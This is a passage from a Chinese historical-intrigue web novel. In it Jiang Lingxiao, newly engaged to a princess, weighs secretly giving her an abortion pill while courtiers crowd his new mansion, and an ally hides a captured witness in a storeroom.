仆人还没到,只有姜凌嚣和小虎,乔迁的喜悦让他们回到了认识的最初,像两个孩子一样,手牵着手,钻进钻出每间房,踏过府邸的每一寸土地,跑的小虎鞋子都汗湿了。
她脱了鞋,坐到天井里的池塘沿,在水里涮脚:“哪间房是最好的一间?”
姜凌嚣坐到她旁边,脱了靴子,脚也伸到水里,脚趾钳住她的大拇脚趾,抬出水面,指向正房:“那间。”
最正最宽敞明亮的一间卧房,刚才转的时候,她就相中了,甚至幻想了床摆在哪里,该配什么花色的被褥床单,桌椅,茶具······两人在这怎样恢复在康凌郡时期的温馨······
“那我就住这间!”小虎笑着侧过脸。
好久没看到她对自己笑,姜凌嚣怀念,贪恋,他的目光在她冰晶的眼球上流转,转晕了,知道不可为却为之:“好。”
“说到做到!”
她兴奋地抬脚勾住他的小拇脚趾拉钩,动作太大,踹起一朵浪花,花瓣四面八方落进水里,满池塘荡出大大小小的涟漪,一圈圈地碰撞,人也跟着荡漾。
如果幸福有形状,大概就是这样。
他自诩是个说到做到的人,也确实对她这样要求着自己,一间正房,本来就没想留给她之外的人。
三天后,竞天公主婚期昭告天下,就在三月三。不到一个月了。
各方拭目以待的势力,见大局已定,纷纷跑到驸马府拜访,姜凌嚣不得不忙于府上应酬。
大大小小的官员,堂屋里挤不下,连院子都占满了,默契地排队进屋问候驸马,好让他记得来过,今后请多关照。
那天竞天为他扭转口碑,驸马头衔带来的虚荣,才平息了几天,现在又卷土重来。
比起百姓的爱戴,官员的追捧更让姜凌嚣心潮澎湃,甚至没完没了的沾沾自喜。
送走一拨又一拨的来客,姜凌嚣不觉得累,红光满面地背着手,检阅堆成山的贺礼,贺谏上更是对他无限的溢美之词。
他想起沈丘染灭杀了张大嘴时,于克明专门为沈丘染做的诗词,当时觉得肉麻牙碜,现在风水轮转到自己这方,感觉像一下子翻到了云端,俯视渺渺众生,只愿永远别下来!
堂屋里只有姜凌嚣摇头摆尾的身影,趁着外人消散,白眉老太赶紧进屋,递上一个红色药瓶。
他还在陶醉在驸马头衔带来的重重喜悦里,瞥了眼药瓶,语气并不在意:“什么?”
前些日子,他嫌之前的药味明显,让赶紧换方子,最好换成丸状的,方便下手。
自从驸马府到手,承诺正房一定给小虎后,他更是催得紧,现在真研发出来了味道清香如补药的堕胎丸,他竟然忘了。
白眉提醒:“给竞天的。不过,味道是清除了,就是不知道副作用。”
姜凌嚣脸上的喜色渐渐如雾散开,不知道要说的那句话是什么,在喉咙里卡碎了,发出轻叹似的一声“哦”,尾音拖长,像晚霞拖着的尾迹,日落西山得不大情愿似的。
他接过红色药瓶,在指间捻转几下,攥进拳里。
白眉瞅瞅满坑满谷的贺礼,堆得高高低低,红通通一片,像起伏的红色浪潮,连各式家具都吞没了,一般人压根招架不住如此拍打、裹挟。
只怕他也被冲击得有点迷失,早已看不清原本要去的方向。
白眉眼中闪过一丝怀疑:“垂涎驸马带来的荣耀,会阻止你下药吗?”
他怔住刹那,才回神:“不会。”
白眉撇撇嘴出门。
姜凌嚣踱步到正房,打量着各处,拇指指盖有一搭无一搭地抠着掌心里攥着的瓶盖。
“砰”,盖子崩到了地上,掉进了犄角旮旯。
药丸在瓶身里晃来晃去。
他倒在掌心,指腹揉搓着。
只要竞天吃下去,孩子没了,这场婚事也许还有变,他对小虎的诺言便可······
“三哥!”“三弟!”刚清净没多久,喧哗再度找上门。
沈戚风高声纠正:“没规矩,现在改叫驸马爷!驸马爷,兄弟们来恭喜您乔迁新居了!”
沈家兄弟全部出动,拉着贺礼上赶着与姜凌嚣重修旧好。
人生无常,真是此一时彼一时。
姜凌嚣闻声回到堂屋,捏碎的药丸胡乱扔进一杯剩茶里。
沈戚风一进门就殷勤个不停,挥手支使丫鬟:“赶紧把礼品贴并起来,空出椅子,让驸马坐下歇歇。再去烧点热茶!驸马迎来送往大半天了,嗓子都冒烟了,让他润润嗓子!”
今日来客庞大,灶上打清早就没停过,烧了一壶热茶送来,压根就不够兄弟几个分的。
姜凌嚣生怕那杯泡过药丸的剩茶被人误饮,端到自己手边。
“放着我来!我喝驸马爷用过的,沾沾荣光。”沈戚风抢走剩茶,“咕咚咕咚”畅饮干净。
“就是不知道副作用是什么”,回荡在姜凌嚣耳边,他盯着沈戚风半天,发现他还活蹦乱跳的,很失望副作用没作用。
除了沈丘染,其他兄弟跟沈戚风比赛似的恭维姜凌嚣,他并不十分受用,因为不够解气,不够痛快。
之前他受的屈辱有多大,非要百倍、千倍还回去,也许才有一种酣畅感。
但眼下,只图嘴上痛快,只会显自己小家子气,如果狠厉,有没有十足的借口和权力。
对,他得搞到更大的权力!那么,驸马这个位子一定得先坐稳了……
耿正从堂屋门口路过,打断了姜凌嚣的思绪纷飞。
姜凌嚣找机会出门,绕到后院的仓库里。
在耿
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正的不懈追踪下,陈庆升的三儿子被捉到了,他被招风耳五花大绑看管着。
陈老三供出金牙不止和姬有德有关,还有一点十分诡异——
官宦子弟镶金牙渐成风气后,一些富商子弟也要弄同款,但姬有德坚决不带他们去,即使他们自己去了金铺,人家也不给他们镶。
也就是,金牙只流传在官宦子弟中。
但执行杀令的黑衣人也有。
难道······幕后真凶想将黑衣人的组织者,引向官宦之家,通过金牙陷害政敌?
倒也起效了,曾为先皇立下汗马功劳,最能与姬家抗衡的陈家,彻底铲除。
姜凌嚣胸口一沉:“姬无心真够阴险狡诈的。”
耿正:“我并不认为黑衣人和姬无心有瓜葛。”
姬有德割头那天,姬无心立刻带兵杀到客栈缉凶,是明目张胆的。而埋伏在不远处的黑衣人,没有加入复仇。
以此推断,姬有德不过是调动黑衣人上的一颗棋子,背后主使也非姬无心。
仇家,比姬无心还要诡谲狡诈。
一股阴湿而沉重的冷风,如刺刀,一节一节剔过姜凌嚣后背,剜得生疼。
忽然,招风耳耳朵一动,耿正和他提起陈老三刚躲到货架后面,门就开了。
刻着“陈”字的玉佩,掉在地上,来不及捡,姜凌嚣一脚踏上。
“三哥,准备喝酒了,你躲这黑咕隆咚里干嘛?”沈丘染跃进门,四处打量,拨弄货架上的罐子,“什么好东西,这么香?我尝尝,你让让啊。”
姜凌嚣一动不动踩着玉佩,货架后的耿正死死抠着木板的手快僵了,货架微微颤动,眼见就要支撑不住。
货架其中的一条腿还差一点点才落地,货架却没歪,沈丘染发觉不对劲,疑惑地扳住货架,要看个究竟。
姜凌嚣心口一紧,大喊:“有老鼠!”
沈丘染扔了货架,“嗖”一下蹿出门,姜凌嚣一脚踢飞玉佩到黑洞洞的墙角里,随后出门。
门缝刚闭合,货架“咣叽”落地,坛坛罐罐发出“乒乒乓乓”碰撞声。
沈丘染捂住心口,后怕:“还真有老鼠啊。”
姜凌嚣胸口擂得山响,故作镇定:“胆小鬼。”
“笑话,本人战场都不怕,还怕老鼠?我是嫌它恶心,看我回去逮住!”沈丘染红着脸嘴硬,作势要回仓房。
姜凌嚣及时拉住好不容易诓出来的沈丘染,“知道你勇猛,我怕你还不成吗?”
沈丘染立刻变得趾高气昂:“怕我就成,好歹咱是战场上炮火洗练出来的!”
两人声音渐行渐远,耿正深深吐出口气,松开掐着脖子的手,陈老三耷拉着脑袋摔在了地上。
无用人在这场复仇的绞杀局中,只有一个结局。
要想活下去,要么一直让自己有利用价值,要么成为加害人。
后院拐向前院的胡同上贴着“囍”字,沈丘染瞅见,挤眉弄眼凑上来:“你娶别人,林执缨就没意见?”
姜凌嚣蹙眉:“谁是林执缨?”
“小虎啊,她改名了,没跟你说?”
一根刺深深扎到了姜凌嚣心里,冒出汩汩酸涩,直涌到喉头杀得生疼,眼发红,“你为什么会知道?”